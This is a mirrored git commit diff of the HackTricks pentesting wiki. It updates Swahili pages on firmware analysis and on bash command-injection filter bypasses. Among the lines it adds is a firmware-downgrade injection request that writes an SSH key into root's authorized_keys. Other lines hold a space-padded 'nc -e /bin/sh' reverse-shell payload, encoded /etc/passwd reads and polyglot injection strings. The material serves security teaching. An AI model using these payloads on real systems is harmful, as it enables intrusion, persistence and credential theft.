mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/hardware-physical-access/firmware-analysis/README.md',
This commit is contained in:
parent
0e4d3d5a38
commit
330c5d6721
@ -8,7 +8,7 @@ Firmware ni programu muhimu inayowezesha vifaa kufanya kazi ipasavyo kwa kusimam
|
||||
|
||||
## **Kukusanya Taarifa**
|
||||
|
||||
**Kukusanya taarifa** ni hatua ya awali muhimu katika kuelewa muundo wa kifaa na teknolojia zinazotumiwa. Mchakato huu unahusisha kukusanya data kuhusu:
|
||||
**Kukusanya taarifa** ni hatua ya awali muhimu katika kuelewa muundo wa kifaa na teknolojia zinazotumika. Mchakato huu unahusisha kukusanya data kuhusu:
|
||||
|
||||
- Mchoro wa CPU na mfumo wa uendeshaji unaotumia
|
||||
- Maelezo ya bootloader
|
||||
@ -19,27 +19,27 @@ Firmware ni programu muhimu inayowezesha vifaa kufanya kazi ipasavyo kwa kusimam
|
||||
- Mchoro wa usanifu na michoro ya mtiririko
|
||||
- Tathmini za usalama na udhaifu ulioainishwa
|
||||
|
||||
Kwa kusudi hili, zana za **open-source intelligence (OSINT)** ni muhimu, kama vile uchambuzi wa vipengele vyovyote vya programu za chanzo wazi vinavyopatikana kupitia michakato ya ukaguzi wa mikono na otomatiki. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmle’s LGTM](https://lgtm.com/#explore) hutoa uchambuzi wa statiki bure ambao unaweza kutumika kugundua masuala yanayoweza kutokea.
|
||||
Kwa kusudi hili, zana za **intelligence ya chanzo wazi (OSINT)** ni muhimu, kama vile uchambuzi wa vipengele vyovyote vya programu za chanzo wazi vinavyopatikana kupitia mchakato wa ukaguzi wa mikono na wa kiotomatiki. Zana kama [Coverity Scan](https://scan.coverity.com) na [Semmle’s LGTM](https://lgtm.com/#explore) hutoa uchambuzi wa statiki bure ambao unaweza kutumika kugundua matatizo yanayoweza kutokea.
|
||||
|
||||
## **Kupata Firmware**
|
||||
|
||||
Kupata firmware kunaweza kufanywa kwa njia mbalimbali, kila moja ikiwa na ngazi yake ya ugumu:
|
||||
|
||||
- **Moja kwa moja** kutoka kwa chanzo (waendelezaji, watengenezaji)
|
||||
- **Kujenga** kutoka kwa maelekezo yaliyotolewa
|
||||
- **Kujenga** kutoka kwa maagizo yaliyotolewa
|
||||
- **Kupakua** kutoka kwenye tovuti rasmi za msaada
|
||||
- Kutumia **Google dork** maswali ya kutafuta faili za firmware zilizohifadhiwa
|
||||
- Kufikia **hifadhi ya wingu** moja kwa moja, kwa kutumia zana kama [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Kukamata **sasisho** kupitia mbinu za mtu katikati
|
||||
- **Kutoa** kutoka kwa kifaa kupitia muunganisho kama **UART**, **JTAG**, au **PICit**
|
||||
- **Kutoa** kutoka kwa kifaa kupitia viunganisho kama **UART**, **JTAG**, au **PICit**
|
||||
- **Kusikiliza** maombi ya sasisho ndani ya mawasiliano ya kifaa
|
||||
- Kutambua na kutumia **nukta za sasisho zilizowekwa**
|
||||
- **Kutoa** kutoka kwa bootloader au mtandao
|
||||
- **Kuondoa na kusoma** chip ya hifadhi, wakati kila kitu kingine kimeshindwa, kwa kutumia zana sahihi za vifaa
|
||||
- **Kuondoa na kusoma** chip ya uhifadhi, wakati njia zote zinafeli, kwa kutumia zana sahihi za vifaa
|
||||
|
||||
## Kuchambua firmware
|
||||
|
||||
Sasa kwamba una **firmware**, unahitaji kutoa taarifa kuhusu hiyo ili kujua jinsi ya kuitendea. Zana tofauti unazoweza kutumia kwa hiyo:
|
||||
Sasa kwamba **una firmware**, unahitaji kutoa taarifa kuhusu hiyo ili kujua jinsi ya kuitendea. Zana tofauti unazoweza kutumia kwa hiyo:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -61,11 +61,11 @@ Au [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive
|
||||
### Kupata Mfumo wa Faili
|
||||
|
||||
Kwa zana zilizotajwa hapo awali kama `binwalk -ev <bin>`, unapaswa kuwa umeweza **kutoa mfumo wa faili**.\
|
||||
Binwalk kawaida hutoa ndani ya **folda iliyo na jina la aina ya mfumo wa faili**, ambayo kawaida ni moja ya zifuatazo: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
Binwalk kawaida hutoa ndani ya **folda iliyo na jina la aina ya mfumo wa faili**, ambayo mara nyingi ni mojawapo ya yafuatayo: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Utoaji wa Mfumo wa Faili kwa Mikono
|
||||
|
||||
Wakati mwingine, binwalk **haitakuwa na byte ya kichawi ya mfumo wa faili katika saini zake**. Katika kesi hizi, tumia binwalk **kupata offset ya mfumo wa faili na kuchonga mfumo wa faili ulio pandwa** kutoka kwa binary na **kutoa kwa mikono** mfumo wa faili kulingana na aina yake kwa kutumia hatua zilizo hapa chini.
|
||||
Wakati mwingine, binwalk haitakuwa na byte ya kichawi ya mfumo wa faili katika saini zake. Katika kesi hizi, tumia binwalk ili **kupata offset ya mfumo wa faili na kuchonga mfumo wa faili ulio pandwa** kutoka kwa binary na **kutoa kwa mikono** mfumo wa faili kulingana na aina yake kwa kutumia hatua zilizo hapa chini.
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -128,11 +128,11 @@ fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Ili kutathmini hali ya usimbaji wa picha, **entropy** inakaguliwa kwa `binwalk -E <bin>`. Entropy ya chini inaashiria ukosefu wa usimbaji, wakati entropy ya juu inaonyesha uwezekano wa usimbaji au ufinyanzi.
|
||||
|
||||
Kwa ajili ya kutoa **faili zilizojumuishwa**, zana na rasilimali kama vile hati za **file-data-carving-recovery-tools** na **binvis.io** kwa ajili ya ukaguzi wa faili zinapendekezwa.
|
||||
Kwa ajili ya kutoa **faili zilizojumuishwa**, zana na rasilimali kama vile nyaraka za **file-data-carving-recovery-tools** na **binvis.io** kwa ajili ya ukaguzi wa faili zinapendekezwa.
|
||||
|
||||
### Kutolewa kwa Faili za Mfumo
|
||||
|
||||
Kwa kutumia `binwalk -ev <bin>`, mtu anaweza kawaida kutoa mfumo wa faili, mara nyingi katika saraka iliyopewa jina la aina ya mfumo wa faili (mfano, squashfs, ubifs). Hata hivyo, wakati **binwalk** inashindwa kutambua aina ya mfumo wa faili kutokana na kukosekana kwa byte za kichawi, utoaji wa mikono unahitajika. Hii inahusisha kutumia `binwalk` kutafuta offset ya mfumo wa faili, ikifuatiwa na amri ya `dd` ili kuchonga mfumo wa faili:
|
||||
Kwa kutumia `binwalk -ev <bin>`, mtu anaweza kawaida kutoa mfumo wa faili, mara nyingi katika saraka iliyopewa jina la aina ya mfumo wa faili (mfano, squashfs, ubifs). Hata hivyo, wakati **binwalk** inashindwa kutambua aina ya mfumo wa faili kutokana na kukosekana kwa byte za uchawi, utoaji wa mikono unahitajika. Hii inahusisha kutumia `binwalk` kutafuta offset ya mfumo wa faili, ikifuatiwa na amri ya `dd` ili kuchonga mfumo wa faili:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -142,7 +142,7 @@ Baada ya hapo, kulingana na aina ya mfumo wa faili (kwa mfano, squashfs, cpio, j
|
||||
|
||||
### Uchambuzi wa Mfumo wa Faili
|
||||
|
||||
Mara mfumo wa faili unapokuwa umetolewa, utafutaji wa kasoro za usalama huanza. Kipaumbele kinatolewa kwa daemons zisizo salama za mtandao, akidi za siri zilizowekwa kwa nguvu, mwisho wa API, kazi za seva za sasisho, msimbo usio na muundo, skripti za kuanzisha, na binaries zilizokusanywa kwa uchambuzi wa mbali.
|
||||
Mara mfumo wa faili unapotolewa, utafutaji wa kasoro za usalama huanza. Kipaumbele kinatolewa kwa daemons za mtandao zisizo salama, akidi za siri zilizowekwa kwa nguvu, mwisho wa API, kazi za seva za sasisho, msimbo usio na muundo, skripti za kuanzisha, na binaries zilizokusanywa kwa uchambuzi wa mbali.
|
||||
|
||||
**Mikoa muhimu** na **vitu** vya kukagua ni pamoja na:
|
||||
|
||||
@ -160,13 +160,13 @@ Zana kadhaa zinasaidia katika kufichua taarifa nyeti na udhaifu ndani ya mfumo w
|
||||
|
||||
### Ukaguzi wa Usalama kwenye Binaries Zilizokusanywa
|
||||
|
||||
Msimbo wa chanzo na binaries zilizokusanywa zinazopatikana katika mfumo wa faili zinapaswa kuchunguzwa kwa udhaifu. Zana kama **checksec.sh** kwa binaries za Unix na **PESecurity** kwa binaries za Windows husaidia kubaini binaries zisizo na ulinzi ambazo zinaweza kutumika.
|
||||
Msimbo wa chanzo na binaries zilizokusanywa zinazopatikana katika mfumo wa faili zinapaswa kuchunguzwa kwa udhaifu. Zana kama **checksec.sh** kwa binaries za Unix na **PESecurity** kwa binaries za Windows husaidia kubaini binaries zisizo na ulinzi ambazo zinaweza kutumika vibaya.
|
||||
|
||||
## Kuiga Firmware kwa Uchambuzi wa Dinamik
|
||||
## Kuingiza Firmware kwa Uchambuzi wa Dinamik
|
||||
|
||||
Mchakato wa kuiga firmware unaruhusu **uchambuzi wa dinamik** wa uendeshaji wa kifaa au programu binafsi. Njia hii inaweza kukutana na changamoto za utegemezi wa vifaa au usanifu, lakini kuhamasisha mfumo wa faili wa mzizi au binaries maalum kwa kifaa chenye usanifu na endianness inayolingana, kama vile Raspberry Pi, au kwa mashine halisi iliyojengwa awali, kunaweza kuwezesha majaribio zaidi.
|
||||
Mchakato wa kuiga firmware unaruhusu **uchambuzi wa dinamik** ama wa uendeshaji wa kifaa au programu binafsi. Njia hii inaweza kukutana na changamoto za utegemezi wa vifaa au usanifu, lakini kuhamasisha mfumo wa faili wa mzizi au binaries maalum kwa kifaa chenye usanifu na endianness inayolingana, kama vile Raspberry Pi, au kwa mashine halisi iliyojengwa mapema, kunaweza kuwezesha majaribio zaidi.
|
||||
|
||||
### Kuiga Binaries Binafsi
|
||||
### Kuingiza Binaries Binafsi
|
||||
|
||||
Kwa ajili ya kuchunguza programu moja, kubaini endianness ya programu na usanifu wa CPU ni muhimu.
|
||||
|
||||
@ -192,7 +192,7 @@ Zana kama [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysi
|
||||
|
||||
## Uchambuzi wa Dynamic katika Vitendo
|
||||
|
||||
Katika hatua hii, mazingira halisi au ya kuigiza ya kifaa yanatumika kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na mfumo wa faili. Uigaji huenda usifanane kikamilifu na mwingiliano wa vifaa, hivyo inahitajika mara kwa mara kuanzisha upya uigaji. Uchambuzi unapaswa kutembelea mfumo wa faili, kutumia kurasa za wavuti zilizofichuliwa na huduma za mtandao, na kuchunguza udhaifu wa bootloader. Majaribio ya uadilifu wa firmware ni muhimu ili kubaini udhaifu wa backdoor unaoweza kuwepo.
|
||||
Katika hatua hii, mazingira halisi au ya uigaji ya kifaa hutumika kwa uchambuzi. Ni muhimu kudumisha ufikiaji wa shell kwa OS na filesystem. Uigaji huenda usifanane kikamilifu na mwingiliano wa vifaa, hivyo inahitajika mara kwa mara kuanzisha upya uigaji. Uchambuzi unapaswa kutembelea filesystem, kutumia kurasa za wavuti zilizofichuliwa na huduma za mtandao, na kuchunguza udhaifu wa bootloader. Majaribio ya uadilifu wa firmware ni muhimu ili kubaini udhaifu wa backdoor unaoweza kuwepo.
|
||||
|
||||
## Mbinu za Uchambuzi wa Wakati wa Uendeshaji
|
||||
|
||||
@ -200,7 +200,7 @@ Uchambuzi wa wakati wa uendeshaji unahusisha kuingiliana na mchakato au binary k
|
||||
|
||||
## Ukatili wa Binary na Ushahidi wa Dhihirisho
|
||||
|
||||
Kuunda PoC kwa udhaifu ulioainishwa kunahitaji uelewa wa kina wa usanifu wa lengo na programu katika lugha za kiwango cha chini. Ulinzi wa wakati wa uendeshaji wa binary katika mifumo iliyojumuishwa ni nadra, lakini inapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu.
|
||||
Kuendeleza PoC kwa udhaifu ulioainishwa kunahitaji uelewa wa kina wa usanifu wa lengo na programu katika lugha za kiwango cha chini. Ulinzi wa wakati wa uendeshaji wa binary katika mifumo iliyojumuishwa ni nadra, lakini inapokuwepo, mbinu kama Return Oriented Programming (ROP) zinaweza kuwa muhimu.
|
||||
|
||||
## Mifumo ya Uendeshaji Iliyoandaliwa kwa Uchambuzi wa Firmware
|
||||
|
||||
@ -208,30 +208,74 @@ Mifumo ya uendeshaji kama [AttifyOS](https://github.com/adi0x90/attifyos) na [Em
|
||||
|
||||
## Mifumo ya Uendeshaji Iliyoandaliwa Kuchambua Firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro iliyokusudiwa kukusaidia kufanya tathmini ya usalama na mtihani wa penetration wa vifaa vya Internet of Things (IoT). Inakuokoa muda mwingi kwa kutoa mazingira yaliyoandaliwa mapema na zana zote muhimu zilizopakiwa.
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS ni distro inayokusudiwa kukusaidia kufanya tathmini ya usalama na mtihani wa penetration wa vifaa vya Internet of Things (IoT). Inakuokoa muda mwingi kwa kutoa mazingira yaliyoandaliwa mapema na zana zote muhimu.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Mfumo wa uendeshaji wa mtihani wa usalama wa embedded unaotegemea Ubuntu 18.04 uliojaa zana za mtihani wa usalama wa firmware.
|
||||
|
||||
## Firmware Zenye Udhaifu za Kufanya Mazoezi
|
||||
## Mashambulizi ya Kupunguza Firmware na Mechanisms za Sasisho zisizo Salama
|
||||
|
||||
Ili kufanya mazoezi ya kugundua udhaifu katika firmware, tumia miradi ifuatayo ya firmware yenye udhaifu kama hatua ya kuanzia.
|
||||
Hata wakati muuzaji anatekeleza ukaguzi wa saini za cryptographic kwa picha za firmware, **ulinzi wa kurudi nyuma (downgrade) mara nyingi haujajumuishwa**. Wakati boot- au recovery-loader inathibitisha tu saini na funguo za umma zilizojumuishwa lakini hailinganishe *toleo* (au counter monotonic) ya picha inayowekwa, mshambuliaji anaweza halali kufunga **firmware ya zamani, yenye udhaifu ambayo bado ina saini halali** na hivyo kuanzisha tena udhaifu uliofanyiwa marekebisho.
|
||||
|
||||
Mchakato wa shambulizi wa kawaida:
|
||||
|
||||
1. **Pata picha ya zamani iliyosainiwa**
|
||||
* Iteue kutoka kwenye portal ya umma ya kupakua ya muuzaji, CDN au tovuti ya msaada.
|
||||
* Iondoe kutoka kwa programu za simu/kompyuta za mezani (kwa mfano ndani ya APK ya Android chini ya `assets/firmware/`).
|
||||
* Irejeshe kutoka kwa hazina za wahusika wengine kama VirusTotal, archives za mtandao, forums, nk.
|
||||
2. **Pakia au tolea picha kwa kifaa** kupitia njia yoyote ya sasisho iliyofichuliwa:
|
||||
* Web UI, API ya programu ya simu, USB, TFTP, MQTT, nk.
|
||||
* Vifaa vingi vya IoT vya watumiaji vinatoa *michakato isiyoidhinishwa* ya HTTP(S) ambayo inakubali blobs za firmware zilizowekwa Base64, kuzifungua upande wa seva na kuanzisha urejeleaji/kuinua.
|
||||
3. Baada ya kupunguza, tumia udhaifu ambao ulifanyiwa marekebisho katika toleo jipya (kwa mfano, chujio cha kuingiza amri ambacho kiliongezwa baadaye).
|
||||
4. Kwa hiari flash picha ya hivi karibuni tena au zima sasisho ili kuepuka kugunduliwa mara tu uvumilivu umepatikana.
|
||||
|
||||
### Mfano: Kuingiza Amri Baada ya Kupunguza
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
Katika firmware iliyo hatarini (iliyoshushwa), parameter ya `md5` imeunganishwa moja kwa moja katika amri ya shell bila kusafishwa, ikiruhusu kuingiza amri za kiholela (hapa – kuwezesha ufikiaji wa mizizi kwa kutumia funguo za SSH). Toleo la baadaye la firmware lilileta chujio cha wahusika wa msingi, lakini ukosefu wa ulinzi wa kushusha unafanya marekebisho kuwa yasiyo na maana.
|
||||
|
||||
### Kutolewa kwa Firmware Kutoka kwa Programu za Simu
|
||||
|
||||
Wauzaji wengi hujumuisha picha kamili za firmware ndani ya programu zao za simu za washirika ili programu iweze kusasisha kifaa kupitia Bluetooth/Wi-Fi. Paket hizi mara nyingi huhifadhiwa bila usimbaji katika APK/APEX chini ya njia kama `assets/fw/` au `res/raw/`. Zana kama `apktool`, `ghidra`, au hata `unzip` rahisi zinakuwezesha kutoa picha zilizotiwa saini bila kugusa vifaa vya kimwili.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Orodha ya Kuangalia Mantiki ya Sasisho
|
||||
|
||||
* Je, usafirishaji/uidhinishaji wa *kituo cha sasisho* umehifadhiwa ipasavyo (TLS + uidhinishaji)?
|
||||
* Je, kifaa kinalinganisha **nambari za toleo** au **kikadiriaji cha kupunguza kurudi nyuma** kabla ya kuandika?
|
||||
* Je, picha inathibitishwa ndani ya mnyororo wa kuanza salama (kwa mfano, saini zinakaguliwa na msimbo wa ROM)?
|
||||
* Je, msimbo wa userland unafanya ukaguzi wa ziada wa akili (kwa mfano, ramani ya sehemu inayoruhusiwa, nambari ya mfano)?
|
||||
* Je, *mchakato wa* sasisho *ya sehemu* au *hifadhi* unatumia mantiki ile ile ya uthibitishaji?
|
||||
|
||||
> 💡 Ikiwa yoyote kati ya hapo juu inakosekana, jukwaa linaweza kuwa hatarini kwa mashambulizi ya kurudi nyuma.
|
||||
|
||||
## Firmware yenye Uhatari ya Kufanya Mazoezi
|
||||
|
||||
Ili kufanya mazoezi ya kugundua udhaifu katika firmware, tumia miradi ifuatayo ya firmware yenye uhatari kama hatua ya kuanzia.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
- Mradi wa Firmware ya Router yenye Udhaifu
|
||||
- Mradi wa Firmware ya Router yenye Uhatari
|
||||
- [https://github.com/praetorian-code/DVRF](https://github.com/praetorian-code/DVRF)
|
||||
- Router ya ARM yenye Udhaifu (DVAR)
|
||||
- Router ya ARM yenye Uhatari (DVAR)
|
||||
- [https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html](https://blog.exploitlab.net/2018/01/dvar-damn-vulnerable-arm-router.html)
|
||||
- ARM-X
|
||||
- [https://github.com/therealsaumil/armx#downloads](https://github.com/therealsaumil/armx#downloads)
|
||||
- Azeria Labs VM 2.0
|
||||
- [https://azeria-labs.com/lab-vm-2-0/](https://azeria-labs.com/lab-vm-2-0/)
|
||||
- Kifaa cha IoT chenye Udhaifu (DVID)
|
||||
- Kifaa cha IoT chenye Uhatari (DVID)
|
||||
- [https://github.com/Vulcainreo/DVID](https://github.com/Vulcainreo/DVID)
|
||||
|
||||
## Marejeleo
|
||||
|
||||
- [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
## Mafunzo na Cheti
|
||||
|
||||
|
@ -110,11 +110,11 @@ uname!-1\-a # This equals to uname -a
|
||||
cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||
```
|
||||
### Bypass pipes
|
||||
### Kupita mabomba
|
||||
```bash
|
||||
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
|
||||
```
|
||||
### Bypass kwa kutumia hex encoding
|
||||
### Bypass na hex encoding
|
||||
```bash
|
||||
echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
|
||||
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
|
||||
@ -133,7 +133,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
|
||||
```bash
|
||||
time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||||
```
|
||||
### Kupata herufi kutoka kwa Env Variables
|
||||
### Kupata herufi kutoka kwa Mabadiliko ya Mazingira
|
||||
```bash
|
||||
echo ${LS_COLORS:10:1} #;
|
||||
echo ${PATH:0:1} #/
|
||||
@ -197,7 +197,7 @@ chmod +x [
|
||||
export PATH=/tmp:$PATH
|
||||
if [ "a" ]; then echo 1; fi # Will print hello!
|
||||
```
|
||||
### Uingiliaji wa amri za polyglot
|
||||
### Uingiliaji wa amri wa polyglot
|
||||
```bash
|
||||
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
|
||||
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
|
||||
@ -294,25 +294,47 @@ ln /f*
|
||||
'sh x'
|
||||
'sh g'
|
||||
```
|
||||
## Bypass ya Read-Only/Noexec/Distroless
|
||||
## Read-Only/Noexec/Distroless Bypass
|
||||
|
||||
Ikiwa uko ndani ya mfumo wa faili wenye **ulinzi wa read-only na noexec** au hata katika kontena lisilo na mfumo, bado kuna njia za **kutekeleza binaries za kiholela, hata shell!:**
|
||||
Ikiwa uko ndani ya mfumo wa faili wenye **kinga za kusoma tu na noexec** au hata katika kontena lisilo na mfumo, bado kuna njia za **kutekeleza binaries zisizo na mpangilio, hata shell!:**
|
||||
|
||||
{{#ref}}
|
||||
bypass-fs-protections-read-only-no-exec-distroless/
|
||||
{{#endref}}
|
||||
|
||||
## Bypass ya Chroot & Jails Nyingine
|
||||
## Chroot & other Jails Bypass
|
||||
|
||||
{{#ref}}
|
||||
../privilege-escalation/escaping-from-limited-bash.md
|
||||
{{#endref}}
|
||||
|
||||
## Marejeo & Zaidi
|
||||
## Space-Based Bash NOP Sled ("Bashsledding")
|
||||
|
||||
Wakati udhaifu unakuruhusu kudhibiti sehemu fulani ya hoja ambayo hatimaye inafikia `system()` au shell nyingine, huenda usijue offset halisi ambapo utekelezaji unaanza kusoma payload yako. NOP sleds za jadi (mfano `\x90`) **hazifanyi kazi** katika sintaksia ya shell, lakini Bash itapuuzilia mbali nafasi za mbele kabla ya kutekeleza amri.
|
||||
|
||||
Hivyo unaweza kuunda *NOP sled kwa Bash* kwa kuweka amri yako halisi kwa mfululizo mrefu wa nafasi au tab characters:
|
||||
```bash
|
||||
# Payload sprayed into an environment variable / NVRAM entry
|
||||
" nc -e /bin/sh 10.0.0.1 4444"
|
||||
# 16× spaces ───┘ ↑ real command
|
||||
```
|
||||
Ikiwa mnyororo wa ROP (au primitive yoyote ya uharibifu wa kumbukumbu) unatua kipanya cha maagizo popote ndani ya block ya nafasi, parser ya Bash inaruka tu nafasi za wazi hadi inafikia `nc`, ikitekeleza amri yako kwa uaminifu.
|
||||
|
||||
Matumizi halisi:
|
||||
|
||||
1. **Blobs za usanidi zilizopangwa kwa kumbukumbu** (kwa mfano NVRAM) ambazo zinapatikana kati ya michakato.
|
||||
2. Hali ambapo mshambuliaji hawezi kuandika bytes za NULL ili kuoanisha payload.
|
||||
3. Vifaa vilivyojumuishwa ambavyo vinaweza tu kutumia BusyBox `ash`/`sh` – pia vinapuuzilia mbali nafasi za mbele.
|
||||
|
||||
> 🛠️ Changanya hila hii na vifaa vya ROP vinavyopiga simu `system()` ili kuongeza kwa kiasi kikubwa uaminifu wa exploit kwenye route za IoT zenye ukosefu wa kumbukumbu.
|
||||
|
||||
## Marejeleo na Zaidi
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits)
|
||||
- [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet)
|
||||
- [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju
|
||||
- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
|
||||
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user